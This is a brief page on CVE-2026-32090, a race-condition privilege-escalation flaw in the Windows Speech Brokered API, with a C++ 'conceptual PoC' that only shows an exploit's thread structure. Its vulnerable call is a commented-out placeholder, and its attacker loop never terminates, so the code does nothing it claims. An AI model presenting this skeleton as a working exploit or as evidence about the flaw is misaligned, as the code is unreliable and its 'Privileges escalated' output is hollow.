CVE-2026-32090 Windows语音API竞态条件提权漏洞

#include <windows.h> #include <stdio.h> #include <thread> // Conceptual PoC for Race Condition in Windows Speech Brokered API // This code demonstrates the structure of a race condition exploit. // Actual exploitation requires specific knowledge of the vulnerable API calls. HANDLE hSharedResource = NULL; volatile bool isExploited = false; void AttackerThread() { // Thread B: Maliciously modifies the shared resource state while (!isExploited) { // Attempt to manipulate the resource before Thread C uses it // This is a simplified representation of the race window // In a real scenario, this would involve specific API calls to Speech Brokered API printf("[*] Attacker thread attempting to win race...\n"); // Simulate modification Sleep(1); } } void TriggerThread() { // Thread A: Triggers the vulnerable operation in the API // This calls the Windows Speech Brokered API function that lacks synchronization printf("[*] Triggering vulnerable API call...\n"); // Hypothetical function call // VulnerableSpeechApiFunction(hSharedResource); } int main() { printf("[+] Starting PoC for CVE-2026-32090\n"); // Setup threads to create concurrency std::thread t1(TriggerThread); std::thread t2(AttackerThread); t1.join(); t2.join(); if (isExploited) { printf("[+] Exploit successful! Privileges escalated.\n"); } else { printf("[-] Exploit failed.\n"); } return 0; }